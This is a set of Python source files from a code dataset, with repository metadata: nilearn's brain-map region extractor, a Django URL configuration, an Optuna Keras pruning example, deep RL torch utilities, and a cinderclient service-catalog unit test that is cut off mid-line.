default, it is 1350mm^3 which means we take minimum size of 1350 / 27 = 50 voxels. threshold: number, default 1., optional A value used either in ratio_n_voxels or img_value or percentile `thresholding_strategy` based upon the choice of selection. thresholding_strategy: str {'ratio_n_voxels', 'img_value', 'percentile'}, optional If default 'ratio_n_voxels', we apply thresholding that will keep the more intense nonzero brain voxels (denoted as n_voxels) across all maps (n_voxels being the number of voxels in the brain volume). A float value given in `threshold` parameter indicates the ratio of voxels to keep meaning (if float=2. then maps will together have 2. x n_voxels non-zero voxels). If set to 'percentile', images are thresholded based on the score obtained with the given percentile on the data and the voxel intensities which are survived above this obtained score will be kept. If set to 'img_value', we apply thresholding based on the non-zero voxel intensities across all maps. A value given in `threshold` parameter indicates that we keep only those voxels which have intensities more than this value. extractor: str {'connected_components', 'local_regions'} default 'local_regions', optional If 'connected_components', each component/region in the image is extracted automatically by labelling each region based upon the presence of unique features in their respective regions. If 'local_regions', each component/region is extracted based on their maximum peak value to define a seed marker and then using random walker segementation algorithm on these markers for region separation. standardize: bool, True or False, default False, optional If True, the time series signals are centered and normalized by putting their mean to 0 and variance to 1. Recommended to set as True if signals are not already standardized. passed to class NiftiMapsMasker. detrend: bool, True or False, default False, optional This parameter is passed to nilearn.signal.clean basically indicates whether to detrend timeseries signals or not. passed to class NiftiMapsMasker. low_pass: float, default None, optional This value will be applied on the signals by passing to signal.clean Please see the related documentation signal.clean for more details. passed to class NiftiMapsMasker. high_pass: float, default None, optional This value will be applied on the signals by passing to signal.clean Please see the related documentation signal.clean for more details. passed to NiftiMapsMasker. t_r: float, default None, optional Repetition time in sec. This value is given to signal.clean Please see the related documentation for details. passed to NiftiMapsMasker. memory: instance of joblib.Memory, string, default None, optional Used to cache the masking process. If a string is given, the path is set with this string as a folder name in the directory. passed to NiftiMapsMasker. memory_level: int, default 0, optional Aggressiveness of memory catching. The higher the number, the higher the number of functions that will be cached. Zero mean no caching. passed to NiftiMapsMasker. verbose: int, default 0, optional Indicates the level of verbosity by printing the message. Zero indicates nothing is printed. Attributes ---------- `index_` : numpy array array of list of indices where each index value is assigned to each separate region of its corresponding family of brain maps. `regions_img_` : Nifti1Image List of separated regions with each region lying on an original volume concatenated into a 4D image. References ---------- * Abraham et al. "Region segmentation for sparse decompositions: better brain parcellations from rest fMRI", Sparsity Techniques in Medical Imaging, Sep 2014, Boston, United States. pp.8 """ def __init__(self, maps_img, mask_img=None, min_region_size=1350, threshold=1., thresholding_strategy='ratio_n_voxels', extractor='local_regions', standardize=False, detrend=False, low_pass=None, high_pass=None, t_r=None, memory=Memory(cachedir=None), memory_level=0, verbose=0): super(RegionExtractor, self).__init__( maps_img=maps_img, mask_img=mask_img, standardize=standardize, detrend=detrend, low_pass=low_pass, high_pass=high_pass, t_r=t_r, memory=memory, memory_level=memory_level, verbose=verbose) self.maps_img = maps_img self.min_region_size = min_region_size self.thresholding_strategy = thresholding_strategy self.threshold = threshold self.extractor = extractor def fit(self, X=None, y=None): """ Prepare the data and setup for the region extraction """ maps_img = check_niimg_4d(self.maps_img) list_of_strategies = ['ratio_n_voxels', 'img_value', 'percentile'] if self.thresholding_strategy not in list_of_strategies: message = ("'thresholding_strategy' should be " "either of these {0}").format(list_of_strategies) raise ValueError(message) if self.threshold is None or isinstance(self.threshold, _basestring): raise ValueError("The given input to threshold is not valid. " "Please submit a valid number specific to either of " "the strategy in {0}".format(list_of_strategies)) elif isinstance(self.threshold, numbers.Number): # foreground extraction if self.thresholding_strategy == 'ratio_n_voxels': threshold_maps = _threshold_maps_ratio(maps_img, self.threshold) else: if self.thresholding_strategy == 'percentile': self.threshold = "{0}%".format(self.threshold) threshold_maps = threshold_img(maps_img, mask_img=self.mask_img, threshold=self.threshold) # connected component extraction self.regions_img_, self.index_ = connected_regions(threshold_maps, self.min_region_size, self.extractor) self.maps_img = self.regions_img_ super(RegionExtractor, self).fit() return self

43.516224

97

0.67096

import numbers import numpy as np from scipy.ndimage import label from scipy.stats import scoreatpercentile from sklearn.externals.joblib import Memory from .. import masking from ..input_data import NiftiMapsMasker from .._utils import check_niimg, check_niimg_4d from ..image import new_img_like, resample_img from ..image.image import _smooth_array, threshold_img from .._utils.niimg_conversions import concat_niimgs, _check_same_fov from .._utils.niimg import _safe_get_data from .._utils.compat import _basestring from .._utils.ndimage import _peak_local_max from .._utils.segmentation import _random_walker def _threshold_maps_ratio(maps_img, threshold): maps = check_niimg(maps_img) n_maps = maps.shape[-1] if not isinstance(threshold, numbers.Real) or threshold <= 0 or threshold > n_maps: raise ValueError("threshold given as ratio to the number of voxels must " "be Real number and should be positive and between 0 and " "total number of maps i.e. n_maps={0}. " "You provided {1}".format(n_maps, threshold)) else: ratio = threshold maps_data = np.nan_to_num(maps.get_data()) abs_maps = np.abs(maps_data) cutoff_threshold = scoreatpercentile( abs_maps, 100. - (100. / n_maps) * ratio) maps_data[abs_maps < cutoff_threshold] = 0. threshold_maps_img = new_img_like(maps, maps_data) return threshold_maps_img def connected_regions(maps_img, min_region_size=1350, extract_type='local_regions', smoothing_fwhm=6, mask_img=None): all_regions_imgs = [] index_of_each_map = [] maps_img = check_niimg(maps_img, atleast_4d=True) maps = _safe_get_data(maps_img).copy() affine = maps_img.get_affine() min_region_size = min_region_size / np.prod(np.diag(abs(affine[:3]))) allowed_extract_types = ['connected_components', 'local_regions'] if extract_type not in allowed_extract_types: message = ("'extract_type' should be given either of these {0} " "You provided extract_type='{1}'").format(allowed_extract_types, extract_type) raise ValueError(message) if mask_img is not None: if not _check_same_fov(maps_img, mask_img): mask_img = resample_img(mask_img, target_affine=maps_img.get_affine(), target_shape=maps_img.shape[:3], interpolation="nearest") mask_data, _ = masking._load_mask_img(mask_img) maps[mask_data == 0.] = 0. for index in range(maps.shape[-1]): regions = [] map_3d = maps[..., index] if extract_type == 'local_regions': smooth_map = _smooth_array(map_3d, affine=affine, fwhm=smoothing_fwhm) seeds = _peak_local_max(smooth_map) seeds_label, seeds_id = label(seeds) seeds_label[map_3d == 0.] = -1 rw_maps = _random_walker(map_3d, seeds_label) rw_maps[rw_maps == -1] = 0. label_maps = rw_maps else: label_maps, n_labels = label(map_3d) labels_size = np.bincount(label_maps.ravel()) labels_size[0] = 0. for label_id, label_size in enumerate(labels_size): if label_size > min_region_size: region_data = (label_maps == label_id) * map_3d region_img = new_img_like(maps_img, region_data) regions.append(region_img) index_of_each_map.extend([index] * len(regions)) all_regions_imgs.extend(regions) regions_extracted_img = concat_niimgs(all_regions_imgs) return regions_extracted_img, index_of_each_map class RegionExtractor(NiftiMapsMasker): def __init__(self, maps_img, mask_img=None, min_region_size=1350, threshold=1., thresholding_strategy='ratio_n_voxels', extractor='local_regions', standardize=False, detrend=False, low_pass=None, high_pass=None, t_r=None, memory=Memory(cachedir=None), memory_level=0, verbose=0): super(RegionExtractor, self).__init__( maps_img=maps_img, mask_img=mask_img, standardize=standardize, detrend=detrend, low_pass=low_pass, high_pass=high_pass, t_r=t_r, memory=memory, memory_level=memory_level, verbose=verbose) self.maps_img = maps_img self.min_region_size = min_region_size self.thresholding_strategy = thresholding_strategy self.threshold = threshold self.extractor = extractor def fit(self, X=None, y=None): maps_img = check_niimg_4d(self.maps_img) list_of_strategies = ['ratio_n_voxels', 'img_value', 'percentile'] if self.thresholding_strategy not in list_of_strategies: message = ("'thresholding_strategy' should be " "either of these {0}").format(list_of_strategies) raise ValueError(message) if self.threshold is None or isinstance(self.threshold, _basestring): raise ValueError("The given input to threshold is not valid. " "Please submit a valid number specific to either of " "the strategy in {0}".format(list_of_strategies)) elif isinstance(self.threshold, numbers.Number): if self.thresholding_strategy == 'ratio_n_voxels': threshold_maps = _threshold_maps_ratio(maps_img, self.threshold) else: if self.thresholding_strategy == 'percentile': self.threshold = "{0}%".format(self.threshold) threshold_maps = threshold_img(maps_img, mask_img=self.mask_img, threshold=self.threshold) self.regions_img_, self.index_ = connected_regions(threshold_maps, self.min_region_size, self.extractor) self.maps_img = self.regions_img_ super(RegionExtractor, self).fit() return self

true

f7f35a4f282cfd405d911273515cd167385a927b

1,013

py

Python

ExamSchedule/urls.py

imshubhamkaushik/Exam_Schedule

3766cb7e9b5260bb635234d88a52ea5106cb92fb

[ "MIT" ]

null

ExamSchedule/urls.py

imshubhamkaushik/Exam_Schedule

3766cb7e9b5260bb635234d88a52ea5106cb92fb

[ "MIT" ]

null

ExamSchedule/urls.py

imshubhamkaushik/Exam_Schedule

3766cb7e9b5260bb635234d88a52ea5106cb92fb

[ "MIT" ]

null

"""ExamSchedule URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from MainApp.views import login, show_schedule, add_schedule urlpatterns = [ path(r'admin/', admin.site.urls), path(r'view/', show_schedule, name='show_schedule'), path(r'login/', login, name='login'), path(r'', login, name='home'), path(r'addschedule/', add_schedule, name='add_schedule'), ]

36.178571

77

0.704837

from django.contrib import admin from django.urls import path from MainApp.views import login, show_schedule, add_schedule urlpatterns = [ path(r'admin/', admin.site.urls), path(r'view/', show_schedule, name='show_schedule'), path(r'login/', login, name='login'), path(r'', login, name='home'), path(r'addschedule/', add_schedule, name='add_schedule'), ]

true

f7f35b59834abed8913058c5b75225e5c0eff828

4,190

py

Python

examples/pruning/keras_integration.py

thigm85/optuna

4680f36a470ffb9ead89abf65dcc7e7533fd789f

[ "MIT" ]

1

2019-05-28T07:29:49.000Z

examples/pruning/keras_integration.py

nabenabe0928/optuna

aa505125de8515518fe19ba227edf7a1d3f8ebda

[ "MIT" ]

null

examples/pruning/keras_integration.py

nabenabe0928/optuna

aa505125de8515518fe19ba227edf7a1d3f8ebda

[ "MIT" ]

2

2020-03-03T00:40:28.000Z

2021-01-28T11:54:32.000Z

""" Optuna example that demonstrates a pruner for Keras. In this example, we optimize the validation accuracy of hand-written digit recognition using Keras and MNIST, where the architecture of the neural network and the learning rate of optimizer is optimized. Throughout the training of neural networks, a pruner observes intermediate results and stops unpromising trials. You can run this example as follows: $ python keras_integration.py For a similar Optuna example that demonstrates Keras without a pruner on a regression dataset, see the following link: https://github.com/optuna/optuna/blob/master/examples/mlflow/keras_mlflow.py """ import warnings import keras from keras.datasets import mnist from keras.layers import Dense from keras.layers import Dropout from keras.models import Sequential import optuna from optuna.integration import KerasPruningCallback N_TRAIN_EXAMPLES = 3000 N_VALID_EXAMPLES = 1000 BATCHSIZE = 128 CLASSES = 10 EPOCHS = 20 def create_model(trial): # We optimize the number of layers, hidden units and dropout in each layer and # the learning rate of RMSProp optimizer. # We define our MLP. n_layers = trial.suggest_int("n_layers", 1, 3) model = Sequential() for i in range(n_layers): num_hidden = trial.suggest_int("n_units_l{}".format(i), 4, 128, log=True) model.add(Dense(num_hidden, activation="relu")) dropout = trial.suggest_float("dropout_l{}".format(i), 0.2, 0.5) model.add(Dropout(rate=dropout)) model.add(Dense(CLASSES, activation="softmax")) # We compile our model with a sampled learning rate. lr = trial.suggest_float("lr", 1e-5, 1e-1, log=True) model.compile( loss="categorical_crossentropy", optimizer=keras.optimizers.RMSprop(lr=lr), metrics=["accuracy"], ) return model def objective(trial): # Clear clutter from previous session graphs. keras.backend.clear_session() # The data is split between train and validation sets. (x_train, y_train), (x_valid, y_valid) = mnist.load_data() x_train = x_train.reshape(60000, 784)[:N_TRAIN_EXAMPLES].astype("float32") / 255 x_valid = x_valid.reshape(10000, 784)[:N_VALID_EXAMPLES].astype("float32") / 255 # Convert class vectors to binary class matrices. y_train = keras.utils.to_categorical(y_train[:N_TRAIN_EXAMPLES], CLASSES) y_valid = keras.utils.to_categorical(y_valid[:N_VALID_EXAMPLES], CLASSES) # Generate our trial model. model = create_model(trial) # Fit the model on the training data. # The KerasPruningCallback checks for pruning condition every epoch. model.fit( x_train, y_train, batch_size=BATCHSIZE, callbacks=[KerasPruningCallback(trial, "val_accuracy")], epochs=EPOCHS, validation_data=(x_valid, y_valid), verbose=1, ) # Evaluate the model accuracy on the validation set. score = model.evaluate(x_valid, y_valid, verbose=0) return score[1] if __name__ == "__main__": warnings.warn( "Recent Keras release (2.4.0) simply redirects all APIs " "in the standalone keras package to point to tf.keras. " "There is now only one Keras: tf.keras. " "There may be some breaking changes for some workflows by upgrading to keras 2.4.0. " "Test before upgrading. " "REF:https://github.com/keras-team/keras/releases/tag/2.4.0" ) study = optuna.create_study(direction="maximize", pruner=optuna.pruners.MedianPruner()) study.optimize(objective, n_trials=100) pruned_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.PRUNED] complete_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.COMPLETE] print("Study statistics: ") print(" Number of finished trials: ", len(study.trials)) print(" Number of pruned trials: ", len(pruned_trials)) print(" Number of complete trials: ", len(complete_trials)) print("Best trial:") trial = study.best_trial print(" Value: ", trial.value) print(" Params: ") for key, value in trial.params.items(): print(" {}: {}".format(key, value))

35.210084

96

0.702864

import warnings import keras from keras.datasets import mnist from keras.layers import Dense from keras.layers import Dropout from keras.models import Sequential import optuna from optuna.integration import KerasPruningCallback N_TRAIN_EXAMPLES = 3000 N_VALID_EXAMPLES = 1000 BATCHSIZE = 128 CLASSES = 10 EPOCHS = 20 def create_model(trial): n_layers = trial.suggest_int("n_layers", 1, 3) model = Sequential() for i in range(n_layers): num_hidden = trial.suggest_int("n_units_l{}".format(i), 4, 128, log=True) model.add(Dense(num_hidden, activation="relu")) dropout = trial.suggest_float("dropout_l{}".format(i), 0.2, 0.5) model.add(Dropout(rate=dropout)) model.add(Dense(CLASSES, activation="softmax")) lr = trial.suggest_float("lr", 1e-5, 1e-1, log=True) model.compile( loss="categorical_crossentropy", optimizer=keras.optimizers.RMSprop(lr=lr), metrics=["accuracy"], ) return model def objective(trial): keras.backend.clear_session() (x_train, y_train), (x_valid, y_valid) = mnist.load_data() x_train = x_train.reshape(60000, 784)[:N_TRAIN_EXAMPLES].astype("float32") / 255 x_valid = x_valid.reshape(10000, 784)[:N_VALID_EXAMPLES].astype("float32") / 255 y_train = keras.utils.to_categorical(y_train[:N_TRAIN_EXAMPLES], CLASSES) y_valid = keras.utils.to_categorical(y_valid[:N_VALID_EXAMPLES], CLASSES) model = create_model(trial) model.fit( x_train, y_train, batch_size=BATCHSIZE, callbacks=[KerasPruningCallback(trial, "val_accuracy")], epochs=EPOCHS, validation_data=(x_valid, y_valid), verbose=1, ) score = model.evaluate(x_valid, y_valid, verbose=0) return score[1] if __name__ == "__main__": warnings.warn( "Recent Keras release (2.4.0) simply redirects all APIs " "in the standalone keras package to point to tf.keras. " "There is now only one Keras: tf.keras. " "There may be some breaking changes for some workflows by upgrading to keras 2.4.0. " "Test before upgrading. " "REF:https://github.com/keras-team/keras/releases/tag/2.4.0" ) study = optuna.create_study(direction="maximize", pruner=optuna.pruners.MedianPruner()) study.optimize(objective, n_trials=100) pruned_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.PRUNED] complete_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.COMPLETE] print("Study statistics: ") print(" Number of finished trials: ", len(study.trials)) print(" Number of pruned trials: ", len(pruned_trials)) print(" Number of complete trials: ", len(complete_trials)) print("Best trial:") trial = study.best_trial print(" Value: ", trial.value) print(" Params: ") for key, value in trial.params.items(): print(" {}: {}".format(key, value))

true

f7f35b70fabf0d2c600717460efddad9da31ff94

3,921

py

Python

deep_rl/utils/torch_utils.py

hodamr/biu-advenced-ai-ex2

2df6eb7ed389378326bd5c24fae43a65f190d221

[ "Apache-2.0" ]

null

deep_rl/utils/torch_utils.py

hodamr/biu-advenced-ai-ex2

2df6eb7ed389378326bd5c24fae43a65f190d221

[ "Apache-2.0" ]

null

deep_rl/utils/torch_utils.py

hodamr/biu-advenced-ai-ex2

2df6eb7ed389378326bd5c24fae43a65f190d221

[ "Apache-2.0" ]

null

####################################################################### # Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) # # Permission given to modify the code as long as you keep this # # declaration at the top # ####################################################################### from .config import * import torch import torch.autograd as autograd import os def select_device(gpu_id): # if torch.cuda.is_available() and gpu_id >= 0: if gpu_id >= 0: Config.DEVICE = torch.device('cuda:%d' % (gpu_id)) else: Config.DEVICE = torch.device('cpu') def tensor(x): if isinstance(x, torch.Tensor): return x x = torch.tensor(x, device=Config.DEVICE, dtype=torch.float32) return x def range_tensor(end): return torch.arange(end).long().to(Config.DEVICE) def to_np(t): return t.cpu().detach().numpy() def random_seed(seed=None): np.random.seed(seed) torch.manual_seed(np.random.randint(int(1e6))) def set_one_thread(): os.environ['OMP_NUM_THREADS'] = '1' os.environ['MKL_NUM_THREADS'] = '1' torch.set_num_threads(1) def huber(x, k=1.0): return torch.where(x.abs() < k, 0.5 * x.pow(2), k * (x.abs() - 0.5 * k)) def epsilon_greedy(epsilon, x): if len(x.shape) == 1: return np.random.randint(len(x)) if np.random.rand() < epsilon else np.argmax(x) elif len(x.shape) == 2: random_actions = np.random.randint(x.shape[1], size=x.shape[0]) greedy_actions = np.argmax(x, axis=-1) dice = np.random.rand(x.shape[0]) return np.where(dice < epsilon, random_actions, greedy_actions) def sync_grad(target_network, src_network): for param, src_param in zip(target_network.parameters(), src_network.parameters()): param._grad = src_param.grad.clone() # adapted from https://github.com/pytorch/pytorch/issues/12160 def batch_diagonal(input): # idea from here: https://discuss.pytorch.org/t/batch-of-diagonal-matrix/13560 # batches a stack of vectors (batch x N) -> a stack of diagonal matrices (batch x N x N) # works in 2D -> 3D, should also work in higher dimensions # make a zero matrix, which duplicates the last dim of input dims = input.size() dims = dims + dims[-1:] output = torch.zeros(dims, device=input.device) # stride across the first dimensions, add one to get the diagonal of the last dimension strides = [output.stride(i) for i in range(input.dim() - 1 )] strides.append(output.size(-1) + 1) # stride and copy the input to the diagonal output.as_strided(input.size(), strides).copy_(input) return output def batch_trace(input): i = range_tensor(input.size(-1)) t = input[:, i, i].sum(-1).unsqueeze(-1).unsqueeze(-1) return t class DiagonalNormal: def __init__(self, mean, std): self.dist = torch.distributions.Normal(mean, std) self.sample = self.dist.sample def log_prob(self, action): return self.dist.log_prob(action).sum(-1).unsqueeze(-1) def entropy(self): return self.dist.entropy().sum(-1).unsqueeze(-1) def cdf(self, action): return self.dist.cdf(action).prod(-1).unsqueeze(-1) class BatchCategorical: def __init__(self, logits): self.pre_shape = logits.size()[:-1] logits = logits.view(-1, logits.size(-1)) self.dist = torch.distributions.Categorical(logits=logits) def log_prob(self, action): log_pi = self.dist.log_prob(action.view(-1)) log_pi = log_pi.view(action.size()[:-1] + (-1, )) return log_pi def entropy(self): ent = self.dist.entropy() ent = ent.view(self.pre_shape + (-1, )) return ent def sample(self, sample_shape=torch.Size([])): ret = self.dist.sample(sample_shape) ret = ret.view(sample_shape + self.pre_shape + (-1, )) return ret

34.699115

92

0.61974

true

f7f35b95330db971423bc1fa396be77e0bd4e79d

10,481

py

Python

cinderclient/tests/unit/test_service_catalog.py

scottdangelo/cinderclient-api-microversions

a0df4c76f2959ffed08cf65fd53de03484b1c0bc

[ "CNRI-Python", "Apache-1.1" ]

null

cinderclient/tests/unit/test_service_catalog.py

scottdangelo/cinderclient-api-microversions

a0df4c76f2959ffed08cf65fd53de03484b1c0bc

[ "CNRI-Python", "Apache-1.1" ]

null

cinderclient/tests/unit/test_service_catalog.py

scottdangelo/cinderclient-api-microversions

a0df4c76f2959ffed08cf65fd53de03484b1c0bc

[ "CNRI-Python", "Apache-1.1" ]

null

# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from cinderclient import exceptions from cinderclient import service_catalog from cinderclient.tests.unit import utils # Taken directly from keystone/content/common/samples/auth.json # Do not edit this structure. Instead, grab the latest from there. SERVICE_CATALOG = { "access": { "token": { "id": "ab48a9efdfedb23ty3494", "expires": "2010-11-01T03:32:15-05:00", "tenant": { "id": "345", "name": "My Project" } }, "user": { "id": "123", "name": "jqsmith", "roles": [ { "id": "234", "name": "compute:admin", }, { "id": "235", "name": "object-store:admin", "tenantId": "1", } ], "roles_links": [], }, "serviceCatalog": [ { "name": "Cloud Servers", "type": "compute", "endpoints": [ { "tenantId": "1", "publicURL": "https://compute1.host/v1/1234", "internalURL": "https://compute1.host/v1/1234", "region": "North", "versionId": "1.0", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, { "tenantId": "2", "publicURL": "https://compute1.host/v1/3456", "internalURL": "https://compute1.host/v1/3456", "region": "North", "versionId": "1.1", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, ], "endpoints_links": [], }, { "name": "Cinder Volume Service", "type": "volume", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v1/1234", "internalURL": "https://volume1.host/v1/1234", "region": "South", "versionId": "1.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v1/3456", "internalURL": "https://volume1.host/v1/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v1/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, { "name": "Cinder Volume Service V2", "type": "volumev2", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v2/1234", "internalURL": "https://volume1.host/v2/1234", "region": "South", "versionId": "2.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v2/3456", "internalURL": "https://volume1.host/v2/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v2/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, ], "serviceCatalog_links": [ { "rel": "next", "href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar", }, ], }, } SERVICE_COMPATIBILITY_CATALOG = { "access": { "token": { "id": "ab48a9efdfedb23ty3494", "expires": "2010-11-01T03:32:15-05:00", "tenant": { "id": "345", "name": "My Project" } }, "user": { "id": "123", "name": "jqsmith", "roles": [ { "id": "234", "name": "compute:admin", }, { "id": "235", "name": "object-store:admin", "tenantId": "1", } ], "roles_links": [], }, "serviceCatalog": [ { "name": "Cloud Servers", "type": "compute", "endpoints": [ { "tenantId": "1", "publicURL": "https://compute1.host/v1/1234", "internalURL": "https://compute1.host/v1/1234", "region": "North", "versionId": "1.0", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, { "tenantId": "2", "publicURL": "https://compute1.host/v1/3456", "internalURL": "https://compute1.host/v1/3456", "region": "North", "versionId": "1.1", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, ], "endpoints_links": [], }, { "name": "Cinder Volume Service V2", "type": "volume", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v2/1234", "internalURL": "https://volume1.host/v2/1234", "region": "South", "versionId": "2.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v2/3456", "internalURL": "https://volume1.host/v2/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v2/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, ], "serviceCatalog_links": [ { "rel": "next", "href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar", }, ], }, } class ServiceCatalogTest(utils.TestCase): def test_building_a_service_catalog(self): sc = service_catalog.ServiceCatalog(SERVICE_CATALOG) self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for, service_type='compute') self.assertEqual("https://compute1.host/v1/1234", sc.url_for('tenantId', '1', service_type='compute')) self.assertEqual("https://compute1.host/v1/3456", sc.url_for('tenantId', '2', service_type='compute')) self.assertRaises(exceptions.EndpointNotFound, sc.url_for, "region", "South", service_type='compute') def test_alternate_service_type(self): sc = service_catalog.ServiceCatalog(SERVICE_CATALOG) self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for, service_type='volume') self.assertEqual("https://volume1.host/v1/1234", sc.url_for('tenantId', '1', service_type='volume')) self.assertEqual("https://volume1.host/v1/3456", sc.url_for('tenantId', '2', service_type='volume')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volumev2')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volumev2')) self.assertRaises(exceptions.EndpointNotFound, sc.url_for, "region", "North", service_type='volume') def test_compatibility_service_type(self): sc = service_catalog.ServiceCatalog(SERVICE_COMPATIBILITY_CATALOG) self.assertEqual("https://volume1.host/v2/1234", sc.url_for('tenantId', '1', service_type='volume')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volume'))

37.974638

79

0.403874

from cinderclient import exceptions from cinderclient import service_catalog from cinderclient.tests.unit import utils SERVICE_CATALOG = { "access": { "token": { "id": "ab48a9efdfedb23ty3494", "expires": "2010-11-01T03:32:15-05:00", "tenant": { "id": "345", "name": "My Project" } }, "user": { "id": "123", "name": "jqsmith", "roles": [ { "id": "234", "name": "compute:admin", }, { "id": "235", "name": "object-store:admin", "tenantId": "1", } ], "roles_links": [], }, "serviceCatalog": [ { "name": "Cloud Servers", "type": "compute", "endpoints": [ { "tenantId": "1", "publicURL": "https://compute1.host/v1/1234", "internalURL": "https://compute1.host/v1/1234", "region": "North", "versionId": "1.0", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, { "tenantId": "2", "publicURL": "https://compute1.host/v1/3456", "internalURL": "https://compute1.host/v1/3456", "region": "North", "versionId": "1.1", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, ], "endpoints_links": [], }, { "name": "Cinder Volume Service", "type": "volume", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v1/1234", "internalURL": "https://volume1.host/v1/1234", "region": "South", "versionId": "1.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v1/3456", "internalURL": "https://volume1.host/v1/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v1/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, { "name": "Cinder Volume Service V2", "type": "volumev2", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v2/1234", "internalURL": "https://volume1.host/v2/1234", "region": "South", "versionId": "2.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v2/3456", "internalURL": "https://volume1.host/v2/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v2/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, ], "serviceCatalog_links": [ { "rel": "next", "href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar", }, ], }, } SERVICE_COMPATIBILITY_CATALOG = { "access": { "token": { "id": "ab48a9efdfedb23ty3494", "expires": "2010-11-01T03:32:15-05:00", "tenant": { "id": "345", "name": "My Project" } }, "user": { "id": "123", "name": "jqsmith", "roles": [ { "id": "234", "name": "compute:admin", }, { "id": "235", "name": "object-store:admin", "tenantId": "1", } ], "roles_links": [], }, "serviceCatalog": [ { "name": "Cloud Servers", "type": "compute", "endpoints": [ { "tenantId": "1", "publicURL": "https://compute1.host/v1/1234", "internalURL": "https://compute1.host/v1/1234", "region": "North", "versionId": "1.0", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, { "tenantId": "2", "publicURL": "https://compute1.host/v1/3456", "internalURL": "https://compute1.host/v1/3456", "region": "North", "versionId": "1.1", "versionInfo": "https://compute1.host/v1/", "versionList": "https://compute1.host/" }, ], "endpoints_links": [], }, { "name": "Cinder Volume Service V2", "type": "volume", "endpoints": [ { "tenantId": "1", "publicURL": "https://volume1.host/v2/1234", "internalURL": "https://volume1.host/v2/1234", "region": "South", "versionId": "2.0", "versionInfo": "uri", "versionList": "uri" }, { "tenantId": "2", "publicURL": "https://volume1.host/v2/3456", "internalURL": "https://volume1.host/v2/3456", "region": "South", "versionId": "1.1", "versionInfo": "https://volume1.host/v2/", "versionList": "https://volume1.host/" }, ], "endpoints_links": [ { "rel": "next", "href": "https://identity1.host/v2.0/endpoints" }, ], }, ], "serviceCatalog_links": [ { "rel": "next", "href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar", }, ], }, } class ServiceCatalogTest(utils.TestCase): def test_building_a_service_catalog(self): sc = service_catalog.ServiceCatalog(SERVICE_CATALOG) self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for, service_type='compute') self.assertEqual("https://compute1.host/v1/1234", sc.url_for('tenantId', '1', service_type='compute')) self.assertEqual("https://compute1.host/v1/3456", sc.url_for('tenantId', '2', service_type='compute')) self.assertRaises(exceptions.EndpointNotFound, sc.url_for, "region", "South", service_type='compute') def test_alternate_service_type(self): sc = service_catalog.ServiceCatalog(SERVICE_CATALOG) self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for, service_type='volume') self.assertEqual("https://volume1.host/v1/1234", sc.url_for('tenantId', '1', service_type='volume')) self.assertEqual("https://volume1.host/v1/3456", 